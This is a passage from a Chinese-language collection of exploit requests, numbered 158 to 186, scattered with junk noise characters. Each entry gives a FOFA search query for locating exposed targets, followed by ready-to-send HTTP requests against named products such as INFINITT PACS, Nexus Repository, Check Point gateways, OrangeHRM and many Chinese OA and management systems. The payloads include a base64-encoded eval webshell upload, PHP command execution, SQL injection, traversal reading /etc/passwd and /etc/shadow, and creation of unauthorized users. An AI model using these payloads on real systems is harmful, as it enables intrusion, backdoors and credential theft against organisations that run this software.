) ^, I& e' }6 |7 T! TContent-Disposition: form-data; name="filefolder"
+ b0 C* a5 ], _$ Y6 w' D5 _
* z3 J$ P$ O4 ?# T- X! {8 Z# [null
  m) n- l& @8 i3 l9 t  K------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
4 U! `! _$ O5 i" ]0 b! N: p+ g5 Q
2 R7 D+ @( n' U2 {! D2 g) H# {. n158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
& N* [% u3 z9 s8 e4 B/ o" ]3 V' iFOFA："Generator: Masa CMS"
% r% W2 t9 w  m: w, F5 J5 CPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
" K# D, ?2 o) x) z4 Q
, I% z% W' G0 Q2 J1 U6 |object=displayregion&contenthistid=x\'&previewid=1


0 b3 A; c( m" i1 j$ |/ i159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
2 l. B! Z7 X; j  xFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
/ a6 g7 R- B0 S3 A1 W; z- iPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
6 J7 x4 q2 \2 @$ z# P3 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
" a# c3 u5 M" [Connection: close
6 o0 ?6 j* J9 ]) e; H  AContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
' l+ q1 J, X  m% t0 `5 N
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
7 a( B7 J1 m$ D7 `" n% d<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
5 Y$ ?9 _) {  S<subFolder></subFolder>
' m  ^1 r7 B7 ?, r1 v; i<fileName>abcrce.asmx</fileName>
  z8 v* ?5 Z3 E0 }+ f2 N+ M4 E6 D<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
( X+ j" O8 }& N* k</soap:Envelope>
1 H5 o4 a3 k& h  O

8 H+ }" D6 u( h0 H% E/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
7 X: L; N; K! F6 g% ]. eCVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
/ m/ n$ I. U# W  d# _- a# EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
4 M1 T2 f% v! C3 f$ i) a: PConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
# W6 {* B6 ~  t% l$ `0 {
. ?6 L$ n+ x" `$ i% k/ L
) n( I" z% m6 ]9 O161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
% D! y/ D/ |( X, Y( b; @: AFOFA：body="/KT_Css/qd_defaul.css"
' L+ b% B4 s6 H第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
+ o; t6 ~1 a7 R3 }/ NHost: x.x.x.x
, K5 s- H) H1 `( S+ ?7 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
( D7 g8 a. G" I% f4 D" V; eConnection: close
Content-Length: 445
3 o+ P$ @8 o. j& `7 G$ LContent-Type: text/xml
% P8 N1 L7 |, g6 AAccept-Encoding: gzip

. Y+ z/ C: ~! O# f- }<?xml version="1.0" encoding="utf-8"?>
, g. F) a. g2 U' ?6 A6 t, k<soap:Envelope xmlns:xsi="
: z$ r9 u5 j( y5 o# m# ?1 Xhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
6 v  y9 A6 b* M1 M+ m' S  fxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
( R6 e- n# {9 u) e5 q" q) y<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
& ?' f3 \3 c; E" Z<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
4 S) A! a) M3 F$ O: }</UploadResume>
- r# e2 u6 T; c4 H% u, I5 N</soap:Body>
4 F5 ]7 ?2 U- ]5 o$ j</soap:Envelope>

* M2 X* S* ^  ?; f
) j. c! T( t! q+ }3 \http://x.x.x.x/dizxdell.aspx
* \$ L1 J0 P  `5 `8 B
/ Z) h( n: m; a" ~8 ^1 ?3 t: e. _3 P162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
( s: l8 S. i  G( |' }2 r; uFOFA: app="和丰山海-数字标牌"
% K: V# V( \# L  Y6 p; ]/ Y% }2 L+ pPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
/ \% p$ T" y! _- R7 l+ qConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
% w% N5 [" h! K- R1 i( A/ lAccept-Encoding: gzip
: }5 g! x# r0 a
0 R0 |7 x. g' l! [' c9 n3 J------WebKitFormBoundaryeegvclmyurlotuey
2 q7 l* q( L* \Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
3 o& D! `# R  k; q1 Y9 b
" Z, [4 C3 ]% O2 R/ F. e<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
; x" ^9 y2 C' U. J6 J------WebKitFormBoundaryeegvclmyurlotuey
+ Q8 s8 n1 O& H* b2 m" SContent-Disposition: form-data; name="responderId"

7 `1 @4 _' y" T( c3 l- _, uResourceNewResponder
, L9 R0 D( w7 l1 T: H------WebKitFormBoundaryeegvclmyurlotuey
' c$ V! }, w3 V) X+ M7 AContent-Disposition: form-data; name="remotePath"

# Q* K) \. _/ t" v  I/opt/resources
4 p8 ?. `* n* p0 e------WebKitFormBoundaryeegvclmyurlotuey--

( ]0 _. U! R* {+ L
( c" j$ l8 `! r" P5 |: Q& m8 e7 vhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
3 v' N# L2 J" P% D& H8 y4 y
6 }. P% p9 l7 q2 A163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
8 S/ p7 T! w) Q# K9 u4 `& ^8 rFOFA: icon_hash="-795291075"
2 _0 G" z7 E7 c' o, ~1 aPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
% {5 x. _4 }( t6 aHost: x.x.x.x
" B5 s; x7 F* Z2 g1 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
. E# `3 w; Q5 l0 h7 m# SAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
# s' c; f) J  N
8 n6 u" s5 P" Q$ d  j------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
+ I# }  F# I% d2 S1 ?/ {4 F  `
' R& a0 l1 j5 H; Z( J& j  S1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
5 J# r( n" `$ Q, X+ U0 ?Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' I$ x+ I" K) ?# I! \FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
6 Q2 X+ K0 A3 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
3 c1 o) z% I& }3 Q+ z0 v9 AConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
, ?- b% Y% h3 r. fX-Requested-With: XMLHttpRequest
1 E3 [5 h4 R' t  j2 L: O- PAccept-Encoding: gzip

8 n% j$ O0 d8 \" U1 W: ]+ m------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
0 g5 ^6 ?9 Q2 K0 T( m
* B) ]/ `% w$ R0 R& v<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

8 a$ ^( V1 x- h6 i8 T" Q2 }" B
8 a' L/ v3 ~0 U/ H1 l: c6 Dhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

$ b9 F3 Z+ J5 ?2 u+ z5 O! l165. OrangeHRM 3.3.3 SQL 注入
, i+ u4 f" ~( F: a2 I$ sCVE-2024-36428
5 v, A: T% d# w  d; CFOFA: app="OrangeHRM-产品"
' |# h. U& A5 C  l4 C& y4 yURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
7 Y9 H  \0 k) J3 ^1 J

4 S$ \" j0 V! Y0 R166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
8 d+ B" M8 G; n" b4 C4 pPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
/ y/ ?2 u& b5 Z6 U7 H! K- r8 G$ \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
  o; h. W* V( c5 A6 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. M8 l& c* Z: b; eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
+ P- u1 {9 K: V0 qConnection: close
# u/ Y( C& |1 J& R8 B  B! ]1 W9 ]Content-Type: application/x-www-form-urlencoded
Content-Length: 89
' t) C$ _1 Y; {
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

- W' v& s* _  f- a# ?  d9 q$ V
# j$ j/ n6 n% o, Y167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
5 k) z2 H% V5 M; KGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
4 A# U8 O( n; E2 c. lHost:
  M# j. `1 w7 e' I" z* DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* y1 N7 d0 S' @  z$ w5 vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: g6 S$ k8 w% q. tAccept: */*
% D0 A. H$ O4 i( h% y! }Connection: keep-alive
9 n  Q9 X# h5 O. J( _7 u" L. ?
# A1 _% D7 f2 |- e5 z  k3 N$ Y: G. g
+ \% B7 ]! i4 i$ X! @8 g168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
1 d# \! F* m, r! M# RContent-Type: application/x-www-form-urlencoded
Connection: close
% ^/ m; _' H- n$ r5 K+ I


169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
6 L9 u& r1 K6 WGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, r0 E# C/ Z% ~/ e2 k5 k0 v7 _Accept: */*
Accept-Encoding: gzip, deflate
8 U1 g" S" m6 k9 X3 UConnection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
! ?/ F6 W# W6 [, oFOFA：body="/general/sys/hjaxmanage.js"
' {7 m2 _2 q; z2 P2 Y6 g0 SPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
4 F$ W5 E" {. \& K7 E/ @Host: balalanengliang
' Y9 ?5 X# z  z& [; RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ ^" k$ G2 T" t6 _4 X. L3 I' jContent-Type: application/x-www-form-urlencoded

, k; r5 s* p9 B1 w* T. Rfilename=../webapps/ROOT/WEB-INF/web.xml
0 d- e8 O( T" F& d8 V6 M" ]5 r
2 h  F; m3 y) I9 ^& P
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
, ^9 d" c- P3 Y, ?" }: qGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
! V; x) w& _$ `% |Host: your-ip
* N" p  N, t7 F# XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
0 O! j+ p$ V5 `2 S1 d6 ?Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 m7 ~, ~- q' u& M' @& R- J/ rAccept-Encoding: gzip, deflate
- E% u8 |: R* b* y+ fConnection: close



' t- o  {: A% r3 K* {' Y172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ _) P) q0 D5 k  l8 J3 ~8 gAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

3 O' B; G9 u) ?* i- `8 q5 f& @
, E. u: q# C2 W3 q5 v
* @% u7 N7 \$ g' `- ]  c6 i6 q173. Check Point 安全网关任意文件读取
CVE-2024-24919
* \, `4 F0 Z9 |; J0 tFOFA：app="Check_Point-SSL-Network-Extender"
* ~; _6 {9 @  w5 mPOST /clients/MyCRL HTTP/1.1
Host: your-ip
8 J% j3 g7 k' e! J+ d5 rContent-Type: application/x-www-form-urlencoded
( L6 c$ v7 L0 A3 P0 `' K: d
aCSHELL/../../../../../../../etc/shadow
; ~/ V1 A& N3 K+ t3 |1 r

8 l4 ?; o9 X+ @/ Q- H
5 i( [) c! u( b1 o8 B174. 金和OA C6 FileDownLoad.aspx 任意文件读取
  j  {/ s+ d7 l, _  ]FOFA：app="金和网络-金和OA"
0 I6 l1 T) N* C9 TGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
, p# O8 k6 W0 A8 s8 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 ]8 E; m+ l+ K5 d7 R1 J& h, TAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! ~/ d9 v' {) \; M  X# ?7 }
" S1 D, j8 @% h! C) r8 D  T, N

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; N3 j9 ^0 m3 mFOFA：app="金和网络-金和OA"
3 D. A( e" B# T8 w: S, G& S' G8 K, z3 {GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 k4 p8 m% @" Z- }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, `- o) N) d% ~0 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
4 Z) W7 t  V1 p+ uUpgrade-Insecure-Requests: 1

0 i" _) D1 G# I( L
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
- Q* |8 L2 B* G5 NHost: your-ip
. t0 j2 ?3 O7 U: b7 }/ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
/ m# W; _/ t2 l1 N5 m4 {3 G2 [Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
% a) V! P( s9 v, C, H. cConnection: close
: C% ^- Q( ^6 D1 L& q. n7 X' |
; W! L; H) [: A3 p; h) H------WebKitFormBoundaryOKldnDPT
% k8 L& y! N$ M8 y8 P2 f7 m9 AContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
: f0 o/ t5 K3 \1 H9 @
% x3 }" X& k0 s  G2 H- P( l<?php system("cat /etc/passwd");unlink(__FILE__);?>
# u: }6 H. p% p: w' A5 {------WebKitFormBoundaryOKldnDPT
& \  ]# m6 F6 P4 m2 u# ~6 m6 i. _Content-Disposition: form-data; name="uploadtime"

1 a  y  c) t4 y
------WebKitFormBoundaryOKldnDPT--

, I' i2 u' a, v# q! p, y% B; I
9 h% j1 e& R! p) W, q$ u+ q
- Q5 l4 ]. A# h. h9 w7 D177. H3C路由器敏感信息泄露
1 I. e$ d( g8 _* p  ^( X* q: G/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/ x) V2 m7 x; J# m- Q+ _8 _8 @4 p1 y/userLogin.asp/../actionpolicy_status/../GR8300.cfg
- L+ n# ?" T) d5 @/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
4 s3 V$ G) j( R$ e4 X0 Z/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
5 J9 d* y8 R+ O% j/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
' O8 J6 S: Z% i9 a% k/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
1 ^9 W  N1 ^! D' S; q0 E* ?0 P1 I/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
' H* l$ Q; n, o2 ]2 K2 L/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
( u& S! h9 n" {8 c( e9 `/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


/ `0 H% \  d+ u178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
; K, t8 {0 i0 W% L, A) {POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
. ]1 u' r1 t0 T9 W* {6 m* ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
; G: R( ~: s7 i/ ]2 _7 }! YAccept-Encoding: gzip, deflate
Connection: close
: u9 ]& U9 e, d( W! o) pContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
+ S$ e: N& D% ^$ A7 c/ t-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
% y' r! }2 z! {+ Z. h' }! TContent-Length: 255

% ]# W4 Y! @$ U7 @12234
-----------------aqutkea7vvanpqy3rh2l--
" }6 r3 o9 M! Y
: B9 c) i  q& s5 |3 f" W& a
+ K% {) Z& t4 N' ^GET /imc/primepush/%2e%2e/flex/12234.txt
, T) O7 n. S. N7 }4 ^
: a2 c/ G. N( k
. B& b$ e! D0 a, _' S7 _179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
& W' E$ v$ q% K, BHost: {{Hostname}}
1 }  l5 \( N+ F, j6 [Content-Type: application/x-www-form-urlencoded
( g5 ?5 L0 F2 _4 T+ ?; p5 wUser-Agent: Mozilla/5.0
, ^6 i. ~* q. g
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
# B, @# x0 j( }1 O3 B* y# s1 nGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# \; q! S3 C) M9 c& i# A2 J# MAccept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
% v3 N0 v& v9 s. a# m! t# X# rFOFA："PDCA/js/_publicCom.js"
% g! g" i0 v( c% JPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
' G2 B% u$ A& s! v% c5 i* @7 C) KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
9 R/ L) y& \, G( t" z0 d# mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 m# T! ?7 @  ?8 o  e, P; ~6 X/ y' rAccept-Encoding: gzip, deflate, br
3 f; K: ^* e# {/ V- ^Accept-Language: zh-CN,zh;q=0.9
6 r$ _4 e6 M4 J' V$ uConnection: close
Content-Type: application/x-www-form-urlencoded
  _' f" I9 p# c6 |0 N

9 F5 q7 n  {" Q& }4 ~# `action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

$ S3 g( u" i' W, K$ j  r
+ i  [7 u) b, _3 w0 M182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 Q/ u. B8 N. l8 J, F* j2 tFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ a2 A% `% Q1 R# fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' R- s8 y7 |* HAccept-Language: zh-CN,zh;q=0.9
Connection: close
- F9 G# `/ S* I) kContent-Type: application/x-www-form-urlencoded
: {9 u% x! [' R8 T
) H8 I% G! K: k
/ ^4 o/ D( A8 P) busername=test1234&pwd=test1234&savedays=1
  \# u+ T( d# J4 U

9 |3 c4 [9 h) o5 I* b4 M183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
/ }$ r3 [" M) M* x+ CGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
0 I2 \6 S7 ^' HHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
! b& {) _$ Y* R# K$ i" w: e2 r, r- SAccept-Encoding: gzip, deflate
Connection: close
% J7 z6 D7 Z. M" v0 g5 L5 r, h3 [+ M. r
, b6 ~' `. X! d4 }, I
4 y8 w2 P( s2 e184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) r4 g. S; h' dFOFA：server="SunFull-Webs"
7 `; J! h6 |3 S/ z1 o0 KPOST /soap/AddUser HTTP/1.1
Host: your-ip
' I8 f3 k8 ]- LAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
) ?" V2 a- ~1 K) E2 D
3 z% k/ `1 i" W) K4 m4 {
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

# J- U% B5 s' L  H2 E' O; b
' _( N7 `1 I, e: \185. 瑞友天翼应用虚拟化系统SQL注入
, D5 O( s7 z2 M. Wversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
* e  C5 ^9 e5 G1 ~) P8 UHost: host


186. F-logic DataCube3 SQL注入
- R1 J" B7 A2 z. a7 ZCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
5 O' K. y4 N7 d3 ~* JPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
